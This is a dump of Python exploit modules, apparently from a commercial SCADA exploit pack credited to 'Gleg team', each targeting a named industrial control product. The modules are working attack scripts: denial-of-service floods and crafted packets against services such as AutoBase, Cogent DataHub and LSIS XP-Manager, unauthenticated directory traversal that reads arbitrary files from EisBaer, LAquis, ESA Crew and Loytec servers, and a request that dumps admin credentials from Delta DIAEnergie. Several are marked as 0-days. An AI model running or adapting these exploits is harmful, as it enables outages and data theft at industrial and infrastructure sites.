9 | sys.path.append("./core")
10 | from Sploit import Sploit
11 |
12 | INFO = {}
13 | INFO['NAME'] = "efs_autobase_netserver_dos"
14 | INFO['DESCRIPTION'] = "AutoBase Network Server 10.2.6.1 Denial Of Service"
15 | INFO['VENDOR'] = "http://www.autobase.biz"
16 | INFO['DOWNLOAD_LINK'] = 'http://file.autobase.biz/Autobase/ExeFiles/Autobase_10_2_6.exe'
17 | INFO['LINKS'] = ''
18 | INFO["CVE Name"] = "0-day"
19 | INFO["NOTES"] = """
20 | Tested against AutoBase Network Server 10.2.6.1
21 | """
22 |
23 | INFO['CHANGELOG'] = "10 Mar, 2016. Written by Gleg team."
24 | INFO['PATH'] = 'Exploits/DoS/'
25 |
26 | # Must be in every module, to be set by framework
27 | OPTIONS = {}
28 | OPTIONS["HOST"] = "127.0.0.1"
29 | OPTIONS["PORT"] = 7001
30 |
31 | class exploit(Sploit):
32 | def __init__(self, host = "", port = 0, logger = None):
33 | Sploit.__init__(self, logger = logger)
34 | self.name = INFO['NAME']
35 | self.host = host
36 | self.port = port
37 | self.ssl = None
38 | self.state = "running"
39 | return
40 |
41 | def args(self):
42 | self.args = Sploit.args(self, OPTIONS)
43 | self.host = self.args.get('HOST', self.host)
44 | self.port = int(self.args.get('PORT', self.port))
45 | return
46 |
47 | def makesploit(self):
48 | return 'A' * 1024
49 |
50 | def run(self):
51 | self.args()
52 | self.log("Attacking {}".format(self.host))
53 |
54 | data = self.makesploit()
55 | for i in xrange(10000):
56 | s = socket.socket()
57 | #s.settimeout(10)
58 | try:
59 | s.connect((self.host, self.port))
60 | s.sendall(data)
61 | s.close()
62 | except:
63 | self.log("Attack reported no open socket - service died?")
64 | self.log("Service died after {} sent packets".format(i))
65 | self.finish(True)
66 | return 1
67 |
68 | self.log("Finished this exploit")
69 | self.finish(False)
70 | if __name__ == '__main__':
71 | """
72 | By now we only have the tool mode for exploit..
73 | Later we would have standalone mode also.
74 | """
75 | print "Running exploit %s .. " % INFO['NAME']
76 | e = exploit('', 80)
77 | e.run()
78 |
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_cogent_datahub_7_3_x_dos.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 | import errno
5 | import socket
6 | from collections import OrderedDict
7 |
8 | from Sploit import Sploit
9 | INFO = {}
10 | INFO['NAME'] = "efs_cogent_datahub_7_3_x_dos"
11 | INFO['DESCRIPTION'] = "Cogent Datahub 7.3.x Denial of Service"
12 | INFO['VENDOR'] = "http://www.cogentdatahub.com/"
13 | INFO["CVE Name"] = ""
14 | INFO["NOTES"] = """
15 | Specially crafted GET request cause DoS. Also works on version 8.
16 | Checked against version 7.3.14.585 and 8.0 on Windows 7 SP1 x64.
17 | """
18 | INFO["DOWNLOAD_LINK"] = "http://www.cogentdatahub.com/Download_Software.html"
19 | INFO["LINKS"] = [""]
20 | INFO['CHANGELOG']="17 Nov, 2017. Written by Gleg team."
21 | INFO['PATH'] = "Dos/"
22 |
23 | # Must be in every module, to be set by framework
24 | OPTIONS = OrderedDict()
25 | OPTIONS["HOST"] = "192.168.1.176"
26 | OPTIONS["PORT"] = 80
27 | OPTIONS["BASEPATH"] = "/"
28 |
29 |
30 | class exploit(Sploit):
31 | def __init__(self,host="",
32 | port=0, ssl=False,
33 | logger=None):
34 | Sploit.__init__(self, logger=logger)
35 | self.listener_port = None
36 |
37 | def args(self):
38 | self.args = Sploit.args(self, OPTIONS)
39 | self.host = self.args.get("HOST", OPTIONS["HOST"])
40 | self.port = self.args.get("PORT", OPTIONS["PORT"])
41 | self.vhost = self.args.get("BASEPATH", OPTIONS["BASEPATH"])
42 | self.vhost = self.vhost if self.vhost.endswith("/") else self.vhost + "/"
43 | self.url = "http://{}:{}/{}".format(self.host, self.port, self.vhost) + "Silverlight/GetPermissions.asp?username=test%%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL%20--"
44 |
45 | def run(self):
46 | #Get options from gui
47 | self.args()
48 | self.log("[*] Sending crafted request...")
49 | for i in range(10):
50 | try:
51 | urllib2.urlopen(self.url)
52 | except socket.error as error:
53 | if error.errno == errno.WSAECONNRESET:
54 | self.log("[+] Service is unavailable now")
55 | self.finish(True)
56 | self.log("All data sent...")
57 | self.finish(False)
58 |
59 |
60 | if __name__ == '__main__':
61 | """
62 | By now we only have the tool
63 | mode for exploit..
64 | Later we would have
65 | standalone mode also.
66 | """
67 | print "Running exploit %s .. " % INFO['NAME']
68 | e = exploit("192.168.0.1",80)
69 | e.run()
70 |
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_delta_DIAEnergie_info_disclosure.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 | import ssl
5 | import json
6 | import pprint
7 | from collections import OrderedDict
8 | from Sploit import Sploit
9 |
10 |
11 | INFO = {}
12 | INFO['NAME'] = "efs_delta_DIAEnergie_info_disclosure"
13 | INFO['DESCRIPTION'] = " Industrial Energy Management System DIAEnergie Information Disclosure"
14 | INFO['VENDOR'] = "http://www.deltaww.com"
15 | INFO["CVE Name"] = "0day"
16 | INFO["DOWNLOAD_LINK"] = "http://www.deltaww.com/services/DownloadCenter2.aspx?secID=8&pid=2&tid=0&CID=06&itemID=060702&typeID=1&downloadID=DIAEnergie,&title=DIAEnergie&dataType=8;&check=1&hl=en-US"
17 | INFO["LINKS"] = []
18 | INFO['CHANGELOG'] = "30 Aug, 2017"
19 | INFO['PATH'] = "General/"
20 | INFO["NOTES"] = """
21 | Vulnerability allows to show users credentials. Authentication is not required.
22 | Tested against DIAEnergie 1.5.90.91 on Windows 7 SP1 x64.
23 | """
24 |
25 | # Must be in every module, to be set by framework
26 | OPTIONS = OrderedDict()
27 | OPTIONS["HOST"] = "192.168.1.176"
28 | OPTIONS["PORT"] = 80
29 | OPTIONS["SSL"] = False
30 |
31 |
32 | class exploit(Sploit):
33 | def __init__(self,host="",
34 | port=0, ssl=False,
35 | logger=None):
36 | Sploit.__init__(self, logger=logger)
37 | self.name = INFO['NAME']
38 |
39 | def args(self):
40 | self.args = Sploit.args(self, OPTIONS)
41 | self.host = self.args.get("HOST", OPTIONS["HOST"])
42 | self.port = self.args.get("PORT", OPTIONS["PORT"])
43 | self.ssl = self.args.get("SSL", OPTIONS["SSL"])
44 |
45 | def make_url(self, path=''):
46 | proto = 'https' if self.ssl else 'http'
47 | url = '%s://%s:%s/%s' % (proto, self.host, self.port, path)
48 | return url
49 |
50 | def run(self):
51 | #Get options from gui
52 | self.args()
53 | url = self.make_url('')
54 | self.log('[*] Trying to connect to %s' % url)
55 | ctx = ssl.create_default_context()
56 | ctx.check_hostname = False
57 | ctx.verify_mode = ssl.CERT_NONE
58 | opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx))
59 | try:
60 | opener.open(url)
61 | except Exception as e:
62 | self.log(e)
63 | self.finish(False)
64 | self.log('[*] Trying to get admin\'s creds')
65 | resp = opener.open(self.make_url('DataHandler/WebApis/DIAE_usHandler.ashx?ttype=GetObject&pUid=1')).read()
66 | resp = json.loads(resp)
67 | self.log('[+]\r\n' + pprint.pformat(resp))
68 | self.finish(True)
69 |
70 |
71 | if __name__ == '__main__':
72 | """
73 | By now we only have the tool
74 | mode for exploit..
75 | Later we would have
76 | standalone mode also.
77 | """
78 | print "Running exploit %s .. " % INFO['NAME']
79 | e = exploit("192.168.0.1",80)
80 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_eisbaer_scada_directory_traversal2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 | from collections import OrderedDict
5 |
6 | from Sploit import Sploit
7 |
8 | INFO = {}
9 | INFO['NAME'] = "efs_eisbaer_scada_directory_traversal2"
10 | INFO['DESCRIPTION'] = "EisBaer Scada Smart-Client's Server Directory Traversal"
11 | INFO['VENDOR'] = "http://www.busbaer.de/"
12 | INFO["CVE Name"] = "0day"
13 | INFO["NOTES"] = """
14 | Vulnerability allows unauthenticated user to read contents of arbitrary file on remote machine.
15 | Tested against version 2.1.1321.1942 on Windows 7 x64.
16 | """
17 | INFO["DOWNLOAD_LINK"] = "http://www.busbaer.de/eiscomp,index,op,sub,op1,24.html"
18 | INFO["LINKS"] = [""]
19 | INFO['CHANGELOG'] = "27 Jun, 2017. Written by Gleg team."
20 | INFO['PATH'] = "General/"
21 |
22 | # Must be in every module, to be set by framework
23 | OPTIONS = OrderedDict()
24 | OPTIONS["HOST"] = "192.168.1.176"
25 | OPTIONS["PORT"] = 8000
26 | OPTIONS["HTTPS"] = False
27 | OPTIONS["FILENAME"] = "/windows/win.ini"
28 |
29 |
30 | class exploit(Sploit):
31 | def __init__(self, host="",
32 | port=0, ssl=False,
33 | logger=None):
34 | Sploit.__init__(self, logger=logger)
35 | self.name = INFO['NAME']
36 |
37 | def args(self):
38 | self.args = Sploit.args(self, OPTIONS)
39 | self.host = self.args.get("HOST", OPTIONS["HOST"])
40 | self.port = self.args.get("PORT", OPTIONS["PORT"])
41 | self.https = self.args.get("HTTPS", OPTIONS["HTTPS"])
42 | self.filename = self.args.get("FILENAME", OPTIONS["FILENAME"])
43 |
44 | def make_url(self, path=''):
45 | protocol = "https" if self.https else "http"
46 | url = "%s://%s:%s/%s" % (protocol, self.host, self.port, path)
47 | return url
48 |
49 | def run(self):
50 | # Get options from gui
51 | self.args()
52 | self.log('[*] Trying to get contents of %s' % self.filename)
53 | url = self.make_url('Eisbaer.RESTServices/ReqCVFile?x=%s' % urllib2.quote(self.filename))
54 | resp = urllib2.urlopen(url)
55 | if resp.code != 200:
56 | self.log("File is not exists")
57 | self.finish(False)
58 | content = resp.read()
59 | if len(content) < 10000:
60 | self.log('[+]\r\n' + content)
61 | self.writefile(content)
62 | self.finish(True)
63 |
64 |
65 | if __name__ == '__main__':
66 | """
67 | By now we only have the tool
68 | mode for exploit..
69 | Later we would have
70 | standalone mode also.
71 | """
72 | print "Running exploit %s .. " % INFO['NAME']
73 | e = exploit("192.168.0.1", 80)
74 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_eisbaer_scada_dt.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 | import os
5 | from collections import OrderedDict
6 |
7 | from Sploit import Sploit
8 |
9 | INFO = {}
10 | INFO['NAME'] = "efs_eisbaer_scada_dt"
11 | INFO['DESCRIPTION'] = "EisBaer Scada Webserver Directory Traversal"
12 | INFO['VENDOR'] = "http://www.busbaer.de/"
13 | INFO["CVE Name"] = ""
14 | INFO["NOTES"] = """
15 | Vulnerability allows unauthenticated user read content of arbitrary file on remote machine.
16 | Tested against version 2.1 on Windows 7 x64.
17 | """
18 | INFO["DOWNLOAD_LINK"] = "http://www.busbaer.de/eiscomp,index,op,sub,op1,24.html"
19 | INFO["LINKS"] = [""]
20 | INFO['CHANGELOG'] = "26 Apr, 2016. Written by Gleg team."
21 | INFO['PATH'] = "General/"
22 |
23 | # Must be in every module, to be set by framework
24 | OPTIONS = OrderedDict()
25 | OPTIONS["HOST"] = "192.168.1.222"
26 | OPTIONS["PORT"] = 80
27 | OPTIONS["HTTPS"] = False
28 | OPTIONS["FILENAME"] = "/../../../../../windows/win.ini"
29 |
30 |
31 | class exploit(Sploit):
32 | def __init__(self, host="",
33 | port=0, ssl=False,
34 | logger=None):
35 | Sploit.__init__(self, logger=logger)
36 | self.ports_map = {}
37 |
38 | def args(self):
39 | self.args = Sploit.args(self, OPTIONS)
40 | self.host = self.args.get("HOST", OPTIONS["HOST"])
41 | self.port = self.args.get("PORT", OPTIONS["PORT"])
42 | self.https = self.args.get("HTTPS", OPTIONS["HTTPS"])
43 | self.filename = self.args.get("FILENAME", OPTIONS["FILENAME"])
44 | protocol = "https" if self.https else "http"
45 | self.url = "{}://{}:{}".format(protocol, self.host, self.port)
46 |
47 | def run(self):
48 | # Get options from gui
49 | self.args()
50 | resp = urllib2.urlopen(self.url + self.filename)
51 | if resp.code != 200:
52 | self.log("File not exists")
53 | self.finish(False)
54 | content = resp.read()
55 | filename = os.path.basename(self.filename)
56 | self.writefile(content, filename)
57 | self.finish(True)
58 |
59 |
60 | if __name__ == '__main__':
61 | """
62 | By now we only have the tool
63 | mode for exploit..
64 | Later we would have
65 | standalone mode also.
66 | """
67 | print "Running exploit %s .. " % INFO['NAME']
68 | e = exploit("192.168.0.1", 80)
69 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_esa_automation_crew_webserver_dir_trav.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 |
5 | from collections import OrderedDict
6 | from Sploit import Sploit
7 |
8 |
9 | INFO = {}
10 | INFO['NAME'] = 'efs_esa_automation_crew_webserver_dir_trav'
11 | INFO['DESCRIPTION'] = 'ESA-Automation Crew Webserver Directory Traveral'
12 | INFO['VENDOR'] = 'https://www.esa-automation.com/en/products/crew/'
13 | INFO['CVE Name'] = '0day'
14 | INFO['DOWNLOAD_LINK'] = 'https://www.esa-automation.com/en/category-downloads/'
15 | INFO['LINKS'] = []
16 | INFO['CHANGELOG'] = '28 Feb 2018'
17 | INFO['PATH'] = 'Web/'
18 | INFO['NOTES'] = """Vulnerability allows remote attackers to disclose files.
19 | Authentication is not required to exploit this vulnerability.
20 | Tested against Crew 02.00.174 on Windows 7 SP1 x64.
21 | """
22 |
23 | OPTIONS = OrderedDict()
24 | OPTIONS['HOST'] = '192.168.1.103'
25 | OPTIONS['PORT'] = 8080
26 | OPTIONS['FILENAME'] = '../../../../../../../../../../windows/win.ini'
27 |
28 |
29 | class exploit(Sploit):
30 | def __init__(self,host="",
31 | port=0, ssl=False,
32 | logger=None):
33 | Sploit.__init__(self, logger=logger)
34 | self.name = INFO['NAME']
35 |
36 | def args(self):
37 | self.args = Sploit.args(self, OPTIONS)
38 | self.host = self.args.get('HOST', OPTIONS['HOST'])
39 | self.port = self.args.get('PORT', OPTIONS['PORT'])
40 | self.filename = self.args.get('FILENAME', OPTIONS['FILENAME'])
41 |
42 | def make_url(self, path=''):
43 | url = 'http://%s:%s/%s' % (self.host, self.port, path)
44 | return url
45 |
46 | def run(self):
47 | #Get options from gui
48 | self.args()
49 | url = self.make_url()
50 | self.log('[*] Checking connection to %s' % url)
51 | urllib2.urlopen(url)
52 | self.log('[*] Trying to disclose "%s"' % self.filename)
53 | self.filename = self.filename.replace('\\', '/').replace('..', '%2e%2e')
54 | url = self.make_url(self.filename)
55 | try:
56 | res = urllib2.urlopen(url).read()
57 | except urllib2.HTTPError as e:
58 | if e.code == 404:
59 | self.log('[-] File not found')
60 | self.finish(False)
61 | self.writefile(res, self.filename.split('/').pop())
62 | if len(res) < 10000:
63 | self.log('[+]\r\n' + res)
64 | self.finish(True)
65 |
66 |
67 | if __name__ == '__main__':
68 | print "Running exploit %s .. " % INFO['NAME']
69 | e = exploit("192.168.0.1", 80)
70 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_laquis_scada_directory_traversal.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 | import json
5 | from collections import OrderedDict
6 |
7 | from Sploit import Sploit
8 |
9 | INFO = {}
10 | INFO['NAME'] = "efs_laquis_scada_directory_traversal"
11 | INFO['DESCRIPTION'] = "LAquis SCADA <= 4.1.0.3237 Directory Traversal"
12 | INFO['VENDOR'] = "http://laquisscada.com/"
13 | INFO["CVE Name"] = ""
14 | INFO["NOTES"] = """
15 | Vulnerability allows unauthenticated user to read contents of arbitrary file on remote machine.
16 | Tested against LAquis SCADA 4.1.0.3066 on Windows 7 SP1 x64.
17 | """
18 | INFO["DOWNLOAD_LINK"] = "http://laquisscada.com/index-3.html"
19 | INFO["LINKS"] = [""]
20 | INFO['CHANGELOG'] = "4 Jul, 2017. Written by Gleg team."
21 | INFO['PATH'] = "General/"
22 |
23 | # Must be in every module, to be set by framework
24 | OPTIONS = OrderedDict()
25 | OPTIONS["HOST"] = "192.168.1.176"
26 | OPTIONS["PORT"] = 1234
27 | OPTIONS["FILENAME"] = "../../../../../windows/win.ini"
28 |
29 |
30 | class exploit(Sploit):
31 | def __init__(self, host="",
32 | port=0, ssl=False,
33 | logger=None):
34 | Sploit.__init__(self, logger=logger)
35 | self.name = INFO['NAME']
36 |
37 | def args(self):
38 | self.args = Sploit.args(self, OPTIONS)
39 | self.host = self.args.get("HOST", OPTIONS["HOST"])
40 | self.port = self.args.get("PORT", OPTIONS["PORT"])
41 | self.filename = self.args.get("FILENAME", OPTIONS["FILENAME"])
42 |
43 | def make_url(self, path=''):
44 | url = "http://%s:%s/%s" % (self.host, self.port, path)
45 | return url
46 |
47 | def check(self):
48 | url = self.make_url()
49 | self.log('[*] Checking %s' % url)
50 | try:
51 | urllib2.urlopen(url)
52 | except:
53 | self.log('[-] Can\'t connect to %s' % url)
54 | self.finish(True)
55 |
56 |
57 | def run(self):
58 | # Get options from gui
59 | self.args()
60 | self.check()
61 | self.log('[*] Trying to get contents of %s' % self.filename)
62 | url = self.make_url(urllib2.quote(self.filename))
63 | resp = urllib2.urlopen(url)
64 | if resp.code != 200:
65 | self.log("File is not exists")
66 | self.finish(False)
67 | content = resp.read()
68 | if len(content) < 10000:
69 | self.log('[+]\r\n' + content)
70 | self.writefile(content)
71 | self.finish(True)
72 |
73 |
74 | if __name__ == '__main__':
75 | """
76 | By now we only have the tool
77 | mode for exploit..
78 | Later we would have
79 | standalone mode also.
80 | """
81 | print "Running exploit %s .. " % INFO['NAME']
82 | e = exploit("192.168.0.1", 80)
83 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_logi_cals_logi_RTS_RTShttpd_DoS.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 | from collections import OrderedDict
4 |
5 |
6 | from Sploit import Sploit
7 |
8 | INFO = {}
9 | INFO['NAME'] = "efs_logi_cals_logi_RTS_RTShttpd_DoS"
10 | INFO['DESCRIPTION'] = "logi.cals logi.RTS RTShttpd DoS"
11 | INFO['VENDOR'] = "https://www.logicals.com/"
12 | INFO["CVE Name"] = ""
13 | INFO["NOTES"] = """
14 | Vulnerability exists in webserver. Special TCP packet cause DoS.
15 | Tested against logi.RTS RTShttpd.exe on Windows 7 x64 SP1.
16 | """
17 | INFO["DOWNLOAD_LINK"] = "https://www.logicals.com/en/support/downloads"
18 | INFO["LINKS"] = []
19 | INFO['CHANGELOG'] = "30 Mar, 2018"
20 | INFO['PATH'] = "General/"
21 |
22 | # Must be in every module, to be set by framework
23 | OPTIONS = OrderedDict()
24 | OPTIONS["HOST"] = "192.168.1.103"
25 | OPTIONS["PORT"] = 80
26 |
27 |
28 | class exploit(Sploit):
29 | def __init__(self,host="",
30 | port=0, ssl=False,
31 | logger=None):
32 | Sploit.__init__(self, logger=logger)
33 | self.name = INFO['NAME']
34 |
35 | def args(self):
36 | self.args = Sploit.args(self, OPTIONS)
37 | self.host = self.args.get("HOST", OPTIONS["HOST"])
38 | self.port = self.args.get("PORT", OPTIONS["PORT"])
39 |
40 | def run(self):
41 | #Get options from gui
42 | self.args()
43 | s = socket.socket()
44 | s.settimeout(5)
45 | self.log('[*] Trying to connect to %s:%s' % (self.host, self.port))
46 | s.connect((self.host, self.port))
47 | dos = 'GET /1 HTTP/1.1\r\nDOS\r\n\r\n'
48 | s.send(dos)
49 | try:
50 | s.recv(1024)
51 | except socket.timeout:
52 | self.log('[+] RTShttpd service is unavailable')
53 | self.finish(True)
54 | self.finish(False)
55 |
56 |
57 |
58 | if __name__ == '__main__':
59 | """
60 | By now we only have the tool
61 | mode for exploit..
62 | Later we would have
63 | standalone mode also.
64 | """
65 | print "Running exploit %s .. " % INFO['NAME']
66 | e = exploit("192.168.0.1",80)
67 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_logi_cals_logi_RTS_dir_trav.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import urllib2
3 | import base64
4 | from collections import OrderedDict
5 |
6 |
7 | from Sploit import Sploit
8 |
9 | INFO = {}
10 | INFO['NAME'] = "efs_logi_cals_logi_RTS_dir_trav"
11 | INFO['DESCRIPTION'] = "logi.cals logi.RTS Directory Traversal"
12 | INFO['VENDOR'] = "https://www.logicals.com/"
13 | INFO["CVE Name"] = ""
14 | INFO["NOTES"] = """
15 | Vulnerability exists in webserver. Remote attacker can disclose arbitrary file on remote machine using "../" combination.
16 | Tested against logi.RTS RTShttpd.exe on Windows 7 x64 SP1.
17 | """
18 | INFO["DOWNLOAD_LINK"] = "https://www.logicals.com/en/support/downloads"
19 | INFO["LINKS"] = []
20 | INFO['CHANGELOG'] = "30 Mar, 2018"
21 | INFO['PATH'] = "General/"
22 |
23 | # Must be in every module, to be set by framework
24 | OPTIONS = OrderedDict()
25 | OPTIONS["HOST"] = "192.168.1.103"
26 | OPTIONS["PORT"] = 80
27 | OPTIONS["FILENAME"] = "../../../../../../Windows/win.ini"
28 |
29 |
30 | class exploit(Sploit):
31 | def __init__(self,host="",
32 | port=0, ssl=False,
33 | logger=None):
34 | Sploit.__init__(self, logger=logger)
35 | self.payload = ""
36 |
37 | def args(self):
38 | self.args = Sploit.args(self, OPTIONS)
39 | self.host = self.args.get("HOST", OPTIONS["HOST"])
40 | self.port = self.args.get("PORT", OPTIONS["PORT"])
41 | self.filename = self.args.get("FILENAME", OPTIONS["FILENAME"])
42 |
43 | def make_url(self, path=''):
44 | url = 'http://{}:{}/'.format(self.host, self.port) + path
45 | return url
46 |
47 | def run(self):
48 | #Get options from gui
49 | self.args()
50 | url = self.make_url()
51 | self.log('[*] Trying to connect to {}'.format(url))
52 | urllib2.urlopen(url)
53 | self.log('[*] Trying to get content of {}'.format(self.filename))
54 | url = self.make_url(self.filename)
55 | data = urllib2.urlopen(url).read()
56 | if len(data) < 10000:
57 | self.log('[+]\r\n' + data)
58 | self.writefile(data)
59 | self.finish(True)
60 |
61 |
62 |
63 | if __name__ == '__main__':
64 | """
65 | By now we only have the tool
66 | mode for exploit..
67 | Later we would have
68 | standalone mode also.
69 | """
70 | print "Running exploit %s .. " % INFO['NAME']
71 | e = exploit("192.168.0.1",80)
72 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_loytec_lweb900_server_dir_trav.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import urllib2
3 | import base64
4 | from collections import OrderedDict
5 |
6 |
7 | from Sploit import Sploit
8 |
9 | INFO = {}
10 | INFO['NAME'] = "efs_loytec_lweb900_server_dir_trav"
11 | INFO['DESCRIPTION'] = "Loytec LWEB-900 Directory Traversal"
12 | INFO['VENDOR'] = "https://www.logicals.com/"
13 | INFO["CVE Name"] = ""
14 | INFO["DOWNLOAD_LINK"] = "https://www.loytec.com/support/download/cat_view/13-software"
15 | INFO["LINKS"] = []
16 | INFO['CHANGELOG'] = "4 Apr, 2018"
17 | INFO['PATH'] = "General/"
18 | INFO["NOTES"] = """
19 | Vulnerability exists in LWEB-900 server in ProjectLWeb802Service.
20 | Remote attacker can disclose arbitrary file on remote machine using ".../" combination. Authentication is not required.
21 | Tested against LWEB-900 2.2.2 on Windows 7 x64 SP1.
22 | """
23 |
24 | # Must be in every module, to be set by framework
25 | OPTIONS = OrderedDict()
26 | OPTIONS["HOST"] = "192.168.1.103"
27 | OPTIONS["PORT"] = 8080
28 | OPTIONS["FILENAME"] = "windows/win.ini"
29 |
30 |
31 | class exploit(Sploit):
32 | def __init__(self,host="",
33 | port=0, ssl=False,
34 | logger=None):
35 | Sploit.__init__(self, logger=logger)
36 | self.payload = ""
37 |
38 | def args(self):
39 | self.args = Sploit.args(self, OPTIONS)
40 | self.host = self.args.get("HOST", OPTIONS["HOST"])
41 | self.port = self.args.get("PORT", OPTIONS["PORT"])
42 | self.filename = self.args.get("FILENAME", OPTIONS["FILENAME"])
43 |
44 | def make_url(self, path=''):
45 | url = 'http://{}:{}/'.format(self.host, self.port) + path
46 | return url
47 |
48 | def run(self):
49 | #Get options from gui
50 | self.args()
51 | url = self.make_url()
52 | self.log('[*] Trying to connect to {}'.format(url))
53 | try:
54 | urllib2.urlopen(url)
55 | except urllib2.HTTPError as e:
56 | if e.code == 404:
57 | pass
58 | self.log('[*] Trying to get content of {}'.format(self.filename))
59 | url = self.make_url('lweb900/' + '.../'*6 + self.filename)
60 | data = urllib2.urlopen(url).read()
61 | if len(data) < 10000:
62 | self.log('[+]\r\n' + data)
63 | self.writefile(data)
64 | self.finish(True)
65 |
66 |
67 | if __name__ == '__main__':
68 | """
69 | By now we only have the tool
70 | mode for exploit..
71 | Later we would have
72 | standalone mode also.
73 | """
74 | print "Running exploit %s .. " % INFO['NAME']
75 | e = exploit("192.168.0.1",80)
76 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_lsis_XP_Manager_DoS.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import socket
4 | import struct
5 | import time
6 | from collections import OrderedDict
7 | from Sploit import Sploit
8 |
9 | INFO = {}
10 | INFO['NAME'] = "efs_lsis_XP_Manager_DoS"
11 | INFO['DESCRIPTION'] = "LSIS XP-Manager DoS"
12 | INFO['VENDOR'] = "http://www.lsis.com"
13 | INFO["CVE Name"] = "0day"
14 | INFO["NOTES"] = """
15 | Vulnerability allows remote attacker to crash a XP-Server.
16 | Tested against XP-Manager V2.03 on Windows 7 x64.
17 | """
18 | INFO["DOWNLOAD_LINK"] = "http://www.lsis.com/support/download/"
19 | INFO["LINKS"] = [""]
20 | INFO['CHANGELOG'] = "21 Feb, 2018. Written by Gleg team."
21 | INFO['PATH'] = "General/"
22 |
23 | # Must be in every module, to be set by framework
24 | OPTIONS = OrderedDict()
25 | OPTIONS["HOST"] = "192.168.1.103"
26 | OPTIONS["PORT"] = 2143
27 |
28 |
29 | class exploit(Sploit):
30 | def __init__(self, host="",
31 | port=0, ssl=False,
32 | logger=None):
33 | Sploit.__init__(self, logger=logger)
34 | self.name = INFO['NAME']
35 |
36 | def args(self):
37 | self.args = Sploit.args(self, OPTIONS)
38 | self.host = self.args.get("HOST", OPTIONS["HOST"])
39 | self.port = self.args.get("PORT", OPTIONS["PORT"])
40 |
41 | def send(self, data):
42 | self.sock.send(data)
43 | res = self.sock.recv(16000)
44 | print repr(res)
45 | return res
46 |
47 | def run(self):
48 | # Get options from gui
49 | self.args()
50 | self.log('[*] Trying to connect to %s:%s' % (self.host, self.port))
51 | self.sock = socket.socket()
52 | self.sock.connect((self.host, self.port))
53 | garb = 'A' * 2000
54 | data = "\x0a\x05\x00\x00\x20\xf5\x00\x8c\x5a\xf5\x00\x8c\x5a\xf5\x00\x8c\x5a" + \
55 | struct.pack("Server was started at: %s
34 |Succeeded modules: %s
35 |Failed modules: %s
36 |